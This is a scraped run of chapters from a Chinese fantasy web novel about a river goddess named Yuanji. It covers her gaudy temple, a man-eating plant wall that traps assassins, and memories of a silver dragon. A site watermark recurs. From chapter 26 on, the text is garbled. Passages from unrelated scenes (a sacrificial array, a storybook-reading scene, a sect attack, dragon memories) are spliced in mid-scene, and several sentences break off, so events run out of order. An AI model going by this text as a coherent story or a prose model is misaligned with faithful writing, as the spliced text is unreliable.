方明珠一愣,显然是没想到这个问题。她犹豫一番,“怕是不能。” 洛秋水等人为了让灵石更为稳固,在上头下了好几道禁制。若是强行破开,怕是整个河神庙都得重新修葺。 “罢了。”元吉不忍直视那地面,只觉得额头突突地,“若是实在不行,大不了再拿块黑布盖上……” 下一秒,元吉便打开商城寻找起黑布来。 门口的穆朝带着奴仆进来,一眼就被满院的灵石给震撼到了。 他家算得上是飞云城中的大家族,却也未曾奢靡至此。穆朝手一抖,人家报答救命之恩送了一地的灵石,他只送了……一朵花。 太,太寒酸了! 穆朝立马苦大仇深起来,奈何他出门没带什么值钱之物,难得的种子也不知道掉哪去了…… 局促不安的穆朝频频望向身后的长老求助,“长老,我们还有没有……” 长老叹了口气,摇头。“这次出门太仓促了,灵石没带多少,只带了些上品的药植。” “这也行。”穆朝一喜,接过玉匣便兴冲冲地朝元吉跑去,便跑便喊,“仙女姐姐!” 围着元吉的几位女修闻声回首,只见这人面容清秀一脸憨笑,虽身形狼狈却依旧能瞧出是个娇生惯养的小公子。 洛秋水同黄黎面面相觑一眼,顿时达成共识,又来个“争宠”的。 “仙女姐姐,我瞧他们都喊你河神,这是你的名字吗?”穆朝傻笑一声,不好意思挠头。 洛秋水放下心,还好是个傻的。 她稍稍往旁边让了让,让出个位置来。 “元吉。”元吉面无表情地抬头,她的心已经被那块地伤透了。 穆朝顿时惊喜,像是得了什么恩赐,献宝似的将玉匣递过去,“我出门走的急,先送元姐姐这些……” 话音未落,元吉抬指打断了她的话。 她道:“你要谢我?” 穆朝点头如捣蒜。“嗯嗯!” 元吉了然,“不必送我东西。”见穆朝一脸失落,她又道,“你能催生种子,便帮我个忙吧。” “行!”穆朝顿时应下,半晌后才不解问道,“元姐姐你要催生什么啊?花种子吗?” 元吉并未多解释,淡淡瞧了他一眼递过去两枚种子,“帮我种在门口吧。” 穆朝接过立马屁颠屁颠跑过去,小心翼翼在门口挖了两个小坑将种子放进去,指尖点着种子,慢慢调动周身灵力。” 一片稚嫩的叶子缓缓舒展开来,翠绿的颜色不免让人放缓了呼吸,生怕这气太大吹折了它。 穆朝再次朝里头输力,却发现这种子像是个无底洞源源不断地汲取着他的灵力。很快他便满身冷汗,脸色苍白了起来。 可他咬咬牙,并未松开手,他才催出一片叶子,还不够,还不够! 身后的老者一脸担忧,正欲上前。 元吉缓缓走来,抬手轻轻一点,白光没入穆朝后背。 干涸许久的荒林好不容易遇到一场甘霖,争先恐后地汲取着灵气。 穆朝精神一怔,抓住机会,将元吉传给自己的灵气压入种子。 下一瞬,稚嫩的叶片快速疯长,抽枝,发芽,舒展…… 然后在众人目瞪口呆之下,粗旷野蛮地生长了起来。 碗口大的枝桠交错着,翠绿的叶片变得浓郁深邃起来,只是瞧一眼便让人心生害怕,这颜色,莫不是淬了毒。 穆朝傻眼了,呆呆看着它,又低头瞧瞧自己的手,开始怀疑人生。 莫不是自己又催生了个变异植物来?! 他伸手想拍拍这长成围墙一般高的植物,这手刚伸出去,墨色般的叶片上下一合,竟生出好多倒刺。 “咔嚓!” 金属碰撞的响声响起,众人顿时背后一寒。若是被它咬一口…… 穆朝颤颤巍巍地扭过头,脸上的神情比哭还难看。 “元…元姐姐,我是不是,搞砸了。” 元吉回神,满意地上下打量一番。 “不。” “这是我特地找的种子。” “用来做围墙,再适合不过了。” 众人倒吸一口凉气:啊?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 25、第二十五章 第二十五章 日落西山,今晚的夜像是被油浸透的纸,一片澄亮,上头缀着无数的星点,闪闪烁烁。 燕枯与乌伯山脚步匆匆往河神庙赶,他们送村民回去后,才知道昨日有群路过的修士斗法,将村中的不少房屋都打塌了。 他们帮着从坍塌的房屋下救人,又忙着将受伤村民安置好,好在村里的房屋较为简陋,村民的伤不是很重。 但一来一回还是耽误了不少时间。 “呼,终于快到了。” 燕枯呼了口气,抬了抬肩上的背篓,里头是他沿途采摘的一些草药,等回河神庙熬成药剂明天再带回去给村民。 “最近来忘川的人,是越来越多了。” 他在这地方藏了这么多年,也没正经遇上几个修士。这段时间见到的修士比他十几年遇到的加起来还要多。 乌伯山应了声,思索片刻笃定道,“以后会有更多人的。” 他顿了顿,补充道:“等河神庙修葺好,一定是最雄伟壮观……那是什么!” 乌伯山脚下一个趔趄,他张着嘴,用力揉了揉眼睛,却发现那东西还在并未消失。 “河神庙呢?!那是什么东西!” 燕枯也傻眼了,呆在原地,不敢置信地看着眼前的景象。 金灿灿的大门不见了,取而代之的是一块黑布凭空悬浮在那,还随风飘动两下。 更诡异的是,那长满青苔斑斑驳驳的围墙变得黢黑无比,不知道是不是他的错觉,那围墙好像会动。 而那围墙之内,时不时传来几声尖细的笑声,一瞬间,两人寒毛耸立。 等等,上面写的是河神庙啊,怎么成了鬼宅了。 “宝儿。”乌伯山回过神来,整个人一晃,发了疯似地往河神庙跑去,嘴里还高声喊道,“宝儿!” 这一嗓子冲破云霄,惊起无数的飞鸟,也让蹲在内门口充当人形石狮子的夜文术茫然抬头。 什么东西在喊? 下一瞬,门“嘭”的一瞬被踹开,夜文术猝不及防被踹飞出去。 夜文术:??? 脸颊贴着冰凉华丽的灵石地面呲溜滑了出去,夜文术还从未和这么多的灵石有过亲密接触,霎时动容地留下滚烫的泪水。 这就是灵石的力量吗? 太疼了! 恍恍惚惚抬头,只觉得眼前极亮,他倒吸一口凉气,难不成他是把脑子摔坏了! 夜文术迟疑地摸了摸脑袋,诡异的,脑海中闪过的第一个想法是:河神大人不会嫌他脑子坏了,不要他守门了吧。 等等,门呢! 他回过头去,刺眼的光亮射*入眼眸,夜文术一怔。 “我的老祖宗诶!这啥玩意?!我的眼睛要瞎了。” “等等,我的的老祖宗诶!难不成我还把眼睛也摔坏了!” 与夜文术的懵圈不同,除了先前见过金灿灿大门的几人全被这光给震慑住了。一个个嘴张得能塞下一个拳头,毕竟谁都没想到,这黑布之下,竟是这样的光景。 “我的老天,这门……真亮!”穆朝的一位奴仆艰难睁开眼,啧啧称赞,“这是黄金打造的吧!” “真气派啊。” “能配的上灵石地的,也就只有这门了。” 先前他们还腹诽说这一破庙还用灵石铺地,这不是茅坑上镶金边。现在看来,是他们狭隘了,这绝配啊! 穆朝见状,心下更没底了。虽说元姐姐说那种子本就是那样的,可他总觉得是自己让种子发生了异变,是元姐姐人好宽慰自己。 可现在,元姐姐家大门都如此气派,他得想想办法重新找个谢礼。 与他想法相同的便是天极宗那些女修了。洛秋水本以为她们准备了那么多灵石作为谢礼已足够表示诚意,可在这大门面前,着实是小巫见大巫了。 几人忧心忡忡,面面相觑后皆在心中叹了口气。 元吉也叹了口气,她就知道会这样。 按了按隐隐作痛的眉心,勾动指尖让掉落在地上的黑布重新盖了回去。那刺眼的光总算是消了下去。 “阿统,这门真的不能退吗?” 阿统爱莫能助地摇了摇头,“系统商城从来没有退货的先例呢。” “不过。”阿统眼神一亮,压了压嗓子,“如果把灯塔兑换出来,那这门就不是最亮的了!” 是啊,到时候整个忘川都没夜晚了,这门自然不是最亮的。 元吉皮笑肉不笑,轻飘飘地丢下句,“那你可真聪明呢。” 她收回视线,将注意力落在院中逐渐失态的乌伯山,冷声喝道。 “乌伯山,冷静!” 这声音像是一盆冷水从头到尾浇了个透心凉,乌伯山逐渐清醒过来。 这声音…是河神大人! 他瞬间清醒放下心来,还未成形地魔气顿时消散荡然无存。 “河神大人,宝,宝儿呢?” “伯山。我在呢。”方明珠闻声从后院赶来,“你回来了,有没有受伤。” 见宝儿好好立在自己面前,乌伯山才真正松了口气,拉着方明珠紧紧不放,生怕自己错开一眼,方明珠便受了伤。 这亲昵的举动让温婉的方明珠一时羞红了脸,轻轻按了按他的胳膊,三言两语将发生的事说了一遍,随后问道:“你们怎么去了那么久。” 元吉也很想知道他们遇到了什么,她的目光充满了审视。 乌伯山沾上了魔气。 “河神大人,让我来说吧。”燕枯比乌伯山要冷静些,将村中发生的事情娓娓道来。 话音刚落,一旁认真倾听的穆家长老穆德忠猛地站起身来,声音有些颤抖。 “敢问,其中一人是否是独眼,身材瘦小?” 燕枯回忆了一番村民的说词,“村民不敢看修士门打架,大多都躲在地窖之中。只透过空隙隐隐瞧出是好几个在围追一人。” 穆德忠闻言,沉默了许久。他咽了口唾沫,艰难道,“多谢。” “忠叔,你难道觉得是小川?”穆朝嗓音也带着些沙哑。 几人哑谜似的对话让燕枯一头雾水,“二位可是觉得那修士之一是你们所说的小川?” 穆德忠点点头,犹豫片刻看着元吉也望着自己,终于下定决心道,“这小川是我的养子岳天川。” “他小子命不好,小的时候掉进大虫洞,被大虫抓瞎了一只眼。他爹娘出任务没了,我便收养他长大。” “这次出门,他也跟着我一起,没想到半路被人袭击,他一人引走了那群死侍,便再也没回来过……” 穆德忠越说声越小,整个人身形也佝偻了起来,像是老了十几岁。 一时间,伤感的情绪在整个小院弥漫开来。 元吉指尖在石桌上扣了扣,“夜文术。” “诶!我在!”夜文术忙应道,“河神大人可有什么吩咐。” 元吉眸子微眯,“查下这……”她看向穆德忠,顿了顿,示意后者将其全名告诉自己。 “小川,岳天川!他叫岳天川!”穆德忠只觉喉咙有些紧,心跳声吵得很,他一眼不错地望着元吉,眼中满是对一点微渺希望的渴求。 “查下岳天川的位置,你应该能做到吧。”元吉瞧着夜文术,脸上带着一丝笑意,却让后者浑身一抖。 “定不让河神大人失望。”夜文术信誓旦旦,他本体本就是罗盘,寻一个人自然不在话下。 只见他阖上眼,掐指一算。在几人热切的眸光中笑了笑,“河神大人不必担心,岳天川在今晚子时便会出现在河神庙内了。” “真的?!”穆德忠一脸惊喜,握着夜文术的手激动地说不出话来。 “真的!我可是神算手!”夜文术脸不红心不跳地吹嘘着。 见状,元吉斜斜地依着身后的竹椅,慢悠悠地摸出枚灵石在手中把玩着。她挑起眉望向众人,“去歇歇吧。” 言罢,她便阖上眼眸闭目养神去了。斑驳的树影落在她脸上,倒叫人也不免松下了紧张的神情。 黄黎见状,手脚极快地挑了个离元吉最近的位置坐下开始修行。 接着一个两个,除了穆德忠不放心坐在河神庙外,都寻了个喜欢的地方坐下,不大的院子顿时挤满了人,可偏偏谁都不敢靠近那“围墙”。 毕竟谁都不想再睁眼,发现自己身体一部分被个围墙啃了。 一时河神庙内安静得很,因围墙的缘故,周遭连只小虫子都不敢叫唤一声。 风吹树晃,夜色渐浓。 岳天川捂着胳膊,咬牙往河神庙这个方向奔来。浓浓夜色中,这边升起了极亮的光,说不准义父他们会在这。 也不知道是不是想得久了,他还真看见了义父的身形。 岳天川不敢置信地跑过去,与同样又惊又喜的穆德忠相拥。 “小川!” “义父!” 穆德忠高兴不已,没想到这河神大人身边人才济济,那人真的算得准! 他赶紧将人往河神庙内带,小心翼翼不碰掉黑布,一边小声同岳天川交流着。 谁都没注意到,身后紧随着几道藏匿得极好的身形。 河神庙内,假寐的元吉猛地睁开眼,将手中把玩着的灵石收回到储物镯中。 她眉眼上挑,心情不错。 好戏开始了。 只见安静的围墙顿时陡然拔高,数条枝丫高高举起,开合的叶片在夜色之下泛出一道可怖的光泽。 下一瞬,惨叫声接连响起。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 26-30 第 26 章 第二十六章 第二十六章 “啊!这什么东西!” “救命!快救救我!” “老大!这鬼东西砍不断!!” “啊啊啊!救命!!它在啃我的屁*股!” 撕心裂肺的呼喊中带着些崩溃,也把静坐修炼中的众人给惊醒了。众人借着星光,抬眼看着半空中挣扎的黑影,猛地一抖! 视线落在悠闲自得的元吉身上,一股敬畏之情油然而生。 他们就知道,这墙会啃人!! 只见那几个身着黑袍蒙着面的人被粗壮的枝丫紧紧捆住,墨色的叶片速度极快地朝前一合,“刺啦”一声,瞬间扯下块带血的衣裳来。 动作狠厉,凶残至极! 被啃的那人闷哼一声,用力挥出手中的长剑,这可是主子赏赐的一把上品灵器,他不信这都砍不断! 锋利的刀刃重重落下,却没按他所想砍断捆着他的枝条,反而像是落在了一道屏障上,擦着枝条便飞了出去。 火花四溅,枝条像是受了刺激一般再次伸出了许多墨色叶片,发出“卡卡”的开合声。 元吉刚进去傀儡的身躯中,刚想抬手将亓官上送出阵法,却发现自己无论如何都动弹不得。 银光自眼前划过,祁琰的神情越发冷冽起来。他抽离所有的情绪,如同高山寒冰已然决定赴死。 “咔嚓。”记忆再次快速流转,停下时,已是深夜。 篝火熊熊,一滴滴油脂从烤鸡上缓缓滑落,顿时溅起滋滋啦啦的响声。 可坐在元吉面前的那人却换了一副面容,而这张脸元吉颇为熟悉,那是祁琰的面容。 元吉上前两步,瞧着自己面前的“祁琰”一边转动着手中的烤鸡,一边神情落寞。 “元吉,师父他们都没回来。后山我进不去,只能抓了只野鸡给烤着吃。” “我已经试过好多次了,绝对是你喜欢的口味,你尝尝。” “元吉”接过,却并未直接尝,而是有些担忧道:“你这般出来,族中的人不会发现吗?” “元吉你忘啦,我易容之后气息也会变化,他们不会发现我的。我可是学了很多法术的,说出来说不定会吓元吉一跳呢!”阿上得意地挑眉,。 “对了元吉,不如你给我现在这个模样取个名字吧,免得哪天被他们撞见暴露了这个秘密。” 元吉低头看着那在油脂帮助下陡然涨高了许多的火苗迸溅出七彩的光芒。 她心下一动,盯着那两人的背影喃喃一声“七焰”。 “七色的火焰,七焰……”“元吉”若有所思地拾起一根树枝在地上一笔一划写道,“不如就叫祁琰吧。” “好。那我日后以这幅模样出现,你便唤我祁琰。” 长剑破开玉石,刺入元吉心口。剧烈的痛楚自心间传入魂海之中,元吉闷哼一声,整个人痛苦地闭上人,全然错过了对面之人那一瞬间的错愕。 藏于心脏处的龙血顺着长剑缓缓滴落,二人脚下的阵法陡然大亮。 替身术已破。而在绝望谷河神府中,此时的向易之正挨着夜文术,两人紧紧凑在一起一同看着手中的话本子,脸上的神情一会疑惑、一会纠结、没一会又长舒一口气。随着剧情推动到关键处,两人更是连眼睛都不肯眨一下,生怕看漏了一个字。 半晌将这话本翻完,向易之眨了眨酸胀的眼睛,满是敬佩地同夜文术拱手。“夜兄文采斐然,在下佩服。” “过奖过奖。”夜文术摆手,一脸谦虚,“全是那故事中人的情感太过真挚,我只是将我所见记录下来罢了。” 话音落在,却见眼前的向易之左右张望两下,见没人关注到他们后便神神秘秘凑到夜文术耳畔。 “夜兄,你这话本中的,可是河神大人!” 夜文术顿时心下一惊,紧紧捂住他的嘴巴,好在周围没其他人,否则传出去要是被河神大人知道自己写她的话本子,肯定会把他当成话本一页一页撕碎糊墙。 “这可是辛秘!”夜文术压低声音,用气声道。“我特意回到这河神府就是因为你最懂我,我才与你分享。切莫外传!” “多谢夜兄信赖,我定不会外传的。”向易之信誓旦旦。 他在这地无聊了不知道多少年,偏偏自己又是这身份离不开这,难得的乐趣,岂会轻易破坏。 “只是这话本中,后来那位与她一同抚养前头那位的孩子实在是叫人瞧着不忍。”向易之大胆开麦,“不知夜兄是否会让前头那位也回来,岂不是完美结局。” “那位大人,光是一位伺候怎么够!”向易之用只有两人才懂的代称,含蓄表达着自己的期待。 夜文术闻言拧眉,“论亲疏远近,我自然也是想前头那位回来,可他回来了,后头那位岂不更可怜。” “一转头,孩子、妻子,自己一个都没有。孤家寡人!” “哎,这倒也是。”向易之心下感慨。 两人小声谈论着,突然,眼前出现了一道阵法,上头神力浮动,是元吉召唤两人回去。 “嗬!”向易之夜文术当即吓得跌倒在地后退好几步,两人相识一眼,皆从对方眼中见到了“完了,河神大人定是知道了,这下死定了!”的绝望。 “怎么办?” “要不,我们把那孩子带上?” “河神大人看在孩子面子上应该不会与我们计较吧……”夜文术心中惶惶不安。 两人怀着忐忑的心情将躲藏在香炉中不肯出来的无度连人带炉一同搬进阵法 “怎么会?”祁琰喃喃一语,不敢置信地上前一步。眼底的慌乱足以让他溺亡。“你不是在禁地,怎么可能。” 鲜血自元吉口中缓缓滑下,她抬了抬指尖,看着身体淡得如水洗过的墨汁一般,只觉庆幸,还好自己赶上了。 若是再晚一步,天地间便再也不会有那条时时缠着自己的小银龙了。 “我的命,该由我做决定。” 她扯了扯嘴角,抬掌便拍在了这人的肩膀之处。 祁琰早就消耗了无数的灵力,元吉只轻轻一拍他便被拍出了阵法,整个人重重跌在地上。 元吉那一掌不仅将他送出阵法,还留给他无数磅礴的灵力好让他的身体凝出实形。 “不!” 他退下易容术,重新变回原来的模样。原先昳丽的面容此刻早已一片惨白,整张脸上布满了无措。 鲜艳的衣衫上已全是灰黄的焦土他也顾不得,亓官上跌跌撞撞爬起来向元吉跑去,可任由他如何用剑砍那阵法,后者都纹丝不动。 阵法启动,非外力不得进入。 “元吉你出来好不好。” “由我祭天道也是一样的!”亓官上满目哀求,就像是那初次见面时,只需元吉瞧他一眼便能兴奋地在空中飞上好几圈,“元吉。” 元吉并不能听清他在说什么,因她是魂识进入这副躯体之中,阵法便源源不断地汲取着她的魂海之力。 元吉眼前阵阵发黑,整个人像是朵浮萍一般,晃晃悠悠地漂浮在空中。 或许她该消失了。 元吉心中这样想着,她努力歪头,睁大着逐渐空洞的眸子望向亓官上。 她看不清眼前的画面,只能依稀瞧见大片大片的焦黄逐渐被绿色覆盖,一抹红色的身影正向自己飞来。 元吉嘴角微扬,放心闭上眼。 “还好,你活着。” “嗯?”元吉察觉数道暗暗的视线落在自己身上,不由得觉得好笑,这寒石老头眼瞎就算了,怎么连他们都觉得祁琰同自己有那奇怪的关系。 元吉脑海中浮现记忆中那人刺向自己心脏的那一画面,更何况这人骗了自己,她眸光流转间轻哼一声,话音中带着些自嘲。 “不是。”她定定望向亓官上,“下次我若见他,会杀了他。” “嘶~” 栾萱讪笑一声赶忙捂着发出惊呼的关牧平往后院走去。对上后者狐疑的目光,见多识广的栾萱忙疯狂眨眼示意:快走快走,这场面不是她们小孩子能参与进去的。 亓官上脸上的笑意僵了一瞬,眨眼间又恢复如常。“如此,那我定要好好修炼,有朝一日说不定还能帮上元吉。” 他慢悠悠地看着元吉勾出抹浅笑来,让人不难怀疑若真有三人见面一日,他会毫不犹豫给元吉递刀。 元吉点点头并未将这话放在心上转头就去探寻那几名天极宗弟子身上的秘密。 反倒是身后扈枭一副心事重重的模样。没想到这河神对于尊者“祁琰”身份居然毫无好感,果然还是那已经魂飞魄散的心上人才是尊上的劲敌吗? 一时间,扈枭看向亓官上的眼神充满了同情,半晌后他腆着张笑脸凑到亓官上身侧低声安慰。 “尊上,放心,这新欢旧爱之间,定是你这新欢更能得河神的芳心的。” 亓官上:…… 亓官上冷笑一声,只是脸上的笑意不达眼底,“回去领五十鞭。” 扈枭身形一僵,老泪纵横。 这是迁怒!他们尊上,定是被他说到伤心处了! 自此,她的眼前一片漆黑。 若是强行唤出,恐怕会震坏地面,导致河神庙倒塌。 太麻烦了。 元吉无奈叹了口气,殊不知这一举动瞬间将众人的心给提了起来。 河神大人叹气了,是打不过吗? 岳天川白了张脸,却不敢让自己的背弯一点。 下一瞬,只听得头顶传来一声轻飘飘的“来。” 来什么? 众人脑中快速闪过一个念头,来不及细想,对面的毒气,毒针可都快飞到他们眼前了。 只听得“哗”的一声。 巨大的水幕从天而降,重重砸向下方百人呆的地方。 众人吓了一跳:什么东西! 下一瞬,汹涌的水流裹着所有的毒针毒花……一个巨大的水球出现在众人面前。 众人看着那横冲直撞,滚到哪就把那里的人给吞进去,不到十息就将那百人给全吞噬的水球,傻眼了。 众人:……?? 这什么东西。 等等,这彪悍的画风似曾相识啊。 第 27 章 第二十七章 第二十七章 “咕噜咕噜……” 朦胧的夜,巨大的水球在林中灵活穿梭,这就苦了里头的人了。 他们被水球吞噬,一阵翻滚本就头晕目眩,周围还全是毒针毒花,猝不及防便中了自己人的毒。 反应最快的穆大作为这群人的老大,在被水球吞噬的第一时间便屏住了呼吸。已是元婴期的他迅速调动周身灵气在身上附上一层保护,才免遭自己人的毒手。 勉强维持身形的他看着身边的手下一个个顿时或脸大如猪头,或口吐白沫,又或是浑身抽搐没了呼吸。 不到十息的时间便折了九成的人,顿时脸色铁青,恶狠狠地盯着前方泰然自若的元吉,从牙缝中挤出一句。 “可恶!敢坏我的好事。” 言罢,他掌心用力,从中凝出一道灵气紧紧按压在右手手腕之上。 再睁开眼睛时,斑驳的光影在翠色枝叶之间摇曳,一颗银色的脑袋怯生生地从树干之后探出半个脑袋。 元吉明白这是自己的记忆后便放松了些许,她倚着树干,双手环抱在胸前好整以暇地等待着那“胆小鬼。” 银色的小龙从树后小心翼翼地走出,却并未靠近那睡在高出枝干上金色的长龙,而是在底下寻了块干燥的草地转动两圈后便用爪子踩踩平,整个龙窝成一个圈,独留一条细长的尾巴轻轻搭在金龙的影子上。 只是触碰着对方的影子,看着那影子落在自己的银色长尾上,那小银龙便高兴地摇头晃脑不能自已。 元吉强忍住摸摸那龙尾的念头,指尖无意识地描绘着那银闪闪的纹路,心中念到:“真亮啊。”像是块灵石一般。 记忆快速前进,已是几百年的光阴流转。 寒石虽心中对万事堂不满,但不得不说这药水还是有些用处,他们已经摸索到河神庙周围却不见人防备。 “长老,这里果真如师兄所说,真有魔气!”另一侧的河神庙。 几名天极宗弟子手持长剑、法器立在庙外面面相觑一眼。 其中为首的弟子之一举起手中宗门给的打神鞭,心中忐忑,他瞧了眼电光闪烁的墙头,又看了看张牙舞爪的食人草,咽了口唾沫。 “师兄,我们真的能进去吗?”“啊啊啊!!” 随着向易之擦拭的动作幅度越来越大,锅、香炉内的无度被震醒,一睁眼就看着圆圆的天,四周如铜墙铁壁一般。 无度倒吸一口凉气,瞳孔地震。 自己,这是被丢到锅里要被煮了吗!!?? 无度崩溃一瞬,察觉这“锅”在不停抖动着,瞬间想到人间有个做菜的动作叫“颠锅”,顿时更加确认了。 他镇定一瞬、没镇定住。 “呜呜,别吃我!别吃我!”、 向易之察觉到香炉内的动静,探头往里一伸大惊失色。“咦,你这娃娃怎么睡在香炉里啦!” “是不是做噩梦啦,乖哦乖哦,这里是河神庙不会有危险的。” 向易之看着无度缩成一团,眨巴着一双眸子弱小可怜的模样,不由得想起了自己那乖巧的侄子,若是他能平安长大,或许也有这般大了。 一时间,向易之的眼神更为怜爱了。 瞧瞧这眉眼,可真像河神大人,真俊啊。 在“锅底”的无度听闻这话,如听恶魔低语,更害怕了。 坏了,他这一摔,直接掉人大本营来了不成! 救、救命。 “哎呀,莫怕莫怕。我不是坏人,我现在追随着河神大人呢。”向易之轻声安抚,“咱们现在是一家人。” 无度:…… 救命,这人是在威胁我吗?! “你娘一会就来了,你要不先出来吧。”向易之觉得这香炉中残留的香灰定然是个好东西,但是对于一个娃娃来说还是有些埋汰了。 “我娘?!”无度话音有些扭曲,“是谁?” “河神大人呀。”向易之有些莫名,“你莫不是睡糊涂了。” 身侧的师兄冷眼瞪着他,抬手便赏了他一个响亮的耳光,“怂货,打神鞭在手你怕什么,给宗门丢脸。” “况且,河神已死,如今这河神庙已经是强弩之末,还不如由我们天极宗掌管,以好给天下百姓一份护佑,让他们不再受邪魔妖祟的蒙骗。” 那人拍了拍不染尘埃的衣袖,摆出副看淡生死的模样,将话说的正义凛然,好一派正道模样。 “是师兄。您说的对。”那人捂着红透了的半张脸深吸一口气,抬手间甩出长鞭。 “河神已死,这河神庙该归天极宗所有。” “啪。” 长鞭划破长空发出骇人的一声巨响,呼啸着冲向河神庙。 “轰!” 巨大的力量冲击着河神庙,而护庙阵法颤抖两下稳稳护着里头的河神庙,不让它受到任何损伤。两股力量碰撞之下,以河神庙为中心,方圆十里的地面都被掀起,一时间尘土飞扬,惊鸟四散,一片兵荒马乱。 “啧,真脏。”元吉瞧着面前的一切,颇为嫌弃地抬手挥了挥。没想到小小几只虫子还真能惹出些动静来。 “师兄!你看天上!!” 拿着打神鞭的人正欲挥出第二鞭,余光却瞥见头顶元吉正漠然地瞧着他们的所作所为,顿时吓得跌坐在原地。 “河、河神,显灵了!” 话音未落,被他唤作师兄的人一脚将他给踹飞了出去。 一名青衣弟子从怀中掏出一枚罗盘,上头的特制指针指着河神庙快速晃动着,叶新神色一凛,快步跑到寒石身后悄声问道,“这里的魔气格外浓郁,想来那魔界尊者就在里面,长老,我们怕不是对手。” 寒石捋了捋新修剪的长髯,眼眸一眯,“哼,我天极宗可是修真界第一门派。自古邪不压正,一个魔界尊者怕什么。” “长老说的是极,只是再加上那神秘莫测的河神,恐怕形式对我们不利。”叶新压低声音,虽说出来有些丢人,可事实便是如此。 寒石不满地瞪了他一眼,起初是自己没防备才着了河神的道,同样的错误自己岂会犯第二次。 “天极宗何曾出了你这么个贪生怕死之辈。回去后去执事堂领一百鞭。” “你祁师兄定是遭那魔头毒手才会殒命,你们作为同门弟子,不想着替他报仇,简直枉为天极宗弟子!” 寒石越说越气,整个人涨得面色红紫,呼哧呼哧喘着粗气,若不是时机不对他恨不得现在就将人贬去外门做洒扫弟子。 叶新连忙告错,好不容易寒石才堪堪点头将他的鞭罚免去十下。 他侧目瞅了眼自持长老身份的寒石,心中冷哼一声,再抬眸时眼底又恢复了往日的尊敬。 若是祁师兄还在便好了,他也不用跟着这徒有其表之人完成宗门任务。 叶新心中闪过一丝伤感、遗憾,余光却瞥见一道黑影从身侧快速闪过。“谁!” 他压声冷呵,“长老,小心有埋伏!” “什么!那妖女发现我们了!”寒石猛得一惊,抬手便从怀中掏出一个青瓷玉瓶来。 这可是他临走前宗主特意给自己的,据说是根据天极宗藏书阁中秘籍炼制出来的神丸,可在短时间内提升至自身力量的数倍。 只需小小一颗,他带的这批弟子便能成为一只神挡杀神、佛挡杀佛所向披靡的队伍。 “快服用下去。” 叶新抬手结果,犹豫片刻后终究还是在寒石催促的眼神中将那丹药给咽了下去。 瞬间,腹中如烈火焚烧。 那小银龙已经比那金龙还要高大些,此时的它不再是个胆小鬼,而是一个勇敢的小龙。只见它衔着一块晶莹透亮的冰晶花,兴致勃勃叼到金龙面前。 “元吉,看我从后山给你摘的花。”待到月亮出来,它便能将月色折射成无数的星点,你在屋中也能看星星了! 那金龙接下冰晶花,“谢谢你阿上。” 而后它一口吞下,嚼吧嚼吧,嘟囔不清地道谢一声,“果然很好吃!” 小银龙顿时僵在原地,看着它嘴角残留的一点碎晶,磕磕巴巴,“元吉你喜欢就好,我再去后山给你摘!” “噗。”元吉忍不住笑出声来,她就说怎么当初看到自己吃花,这龙的表情这么怪,原来从旁观的角度竟是这般。 元吉抿了抿嘴角,突然间很想再次尝尝那冰晶花的味道。 只可惜,那后山是小银龙家的禁地,被家中长辈发现他偷溜进去后狠狠教训了他一顿,再也没能给他机会再去嚯嚯后山的花。 从那以后,小银龙便总是带些稀奇古怪的花送给自己,久而久之还能将那花变成各色点心,倒是很好的满足了她的好奇心。 穆朝叹了口气,揉了揉刺痛的手腕,不知道是不是刚才被毒草咬了一口,这会好疼啊。 元吉的眸光落在上头,“它快醒了。”所以会疼。 穆朝不明就以。“啊?” 身后朝他们走来的穆德忠却脸色一变,脸上像是笑又像是哭,“河神大人,您说的是真的吗?” 元吉点头应了声,“它被封住了,所以出不来。” 穆德忠神情一凛,难不成又是那群人干得?他没有怀疑元吉说的话,此刻的他恨不得扛着大刀杀回族里去。旋即他又快速冷静下来,跪在元吉面前。 “恳请河神大人帮帮我家少主子,老奴愿意下辈子做牛做马报答河神大人!” 穆朝眼角还挂着一颗小泪珠,他缓缓抬头还没反应过来。 “我可以帮他。”元吉望着穆德忠,“你告诉我。” “一个月前,你们见到了谁?” 第 28 章 第二十八章 第二十八章 穆德忠被巨大的惊喜砸得恍恍惚惚,一时间反应不过来。 “一个月前?” 脑海中的画面快速倒退,一路他们从飞云城走来,见到的人却是不少,不知道河神大人是想知道谁。 穆朝也帮着一起回忆:“一个月前,我们应该是在青石镇。那地方有些荒凉,有什么特别的话,那应该就是……” 穆德忠同穆朝面面相觑一眼,脑海中同时闪过一个颀长的身形。 记忆再次快速流转,再停滞时已经不见金龙银龙身影,取而代之的是两道靓丽的人影。 “元吉”整个人半躺在潺潺溪流之中,暖阳照耀下连那冰冷的溪水都变得温热起来,就这样躺着,颇为惬意。 “元吉,师父说每条龙都要寻找到自己的‘道’,你的道是什么?”阿上蹲在岸边,纤长的指替“元吉”梳理着垂在耳后的长发。 元吉虽然是头金龙,可她偏爱墨色长发,说是瞧起来能年轻许多。阿上虽然觉得元吉什么颜色的头发都好看地让他挪不开目光,就像是他天天要抱在怀里的金块一样,闪闪发光。 他动作轻柔,像是对待珍宝一般替元吉编着小辫子,银色的长发垂下。阿上小心翼翼觑了眼元吉,不懂声色的将一缕自己的银发编入其中。 “元吉”双手撑在岸边,仰头看向一旁的脸色微红一看就干了“坏事”满脸心虚的阿上,随意道:“我的‘道’就是成为河神,天天泡在这溪水中晒太阳,多惬意啊。” “阿上”似懂非懂地点点头,“那我就当土神吧,这样元吉你到哪里,我都能保护你了。” “哈,哪有什么土神啊小阿上。要当就当那天神啊。”“元吉”乐不可支地化为金龙,金色的长尾一扬,水花飞溅。 而那缕银色长发也缓缓落下,带着温热,垂在阿上心头。 目睹这一切的元吉神情渐渐凝重起来,她的记忆会将最为重要的信息呈现在她眼前,那为何当日的一句“戏言”,会被记录下来。 “河神……”元吉喃喃一声,一个令她不敢相信的真相仿佛隔着一层薄纱呈现在她面前。 两人松了口气,目送元吉回后院去休息。踏入界碑的一瞬间,元吉穿过一道透明的结界,眼前的一切都发生了改变。 与山谷内阴暗湿冷不同,河神府干燥清爽,全然没有沾染半分水汽,这倒是让元吉十分满意。 很好,她不喜湿冷,这地方倒是不错。系统自动发布任务,一时间倒吓了阿统一跳。 听清内容后,阿统眼神一亮惊呼道,“元吉,是隐藏任务!”元吉怔了怔,有些想不明白自己脑海中一闪而过的那个影子是什么。 有些熟悉,可是却说不上来。她好像丢失那个东西许久许久了,久到自己都忘了。 眩晕再次袭来,元吉心中颇为烦躁,像是有团火在脑海中叫嚣着,勾连着阵阵轰鸣。 “元吉,你没事吧。” 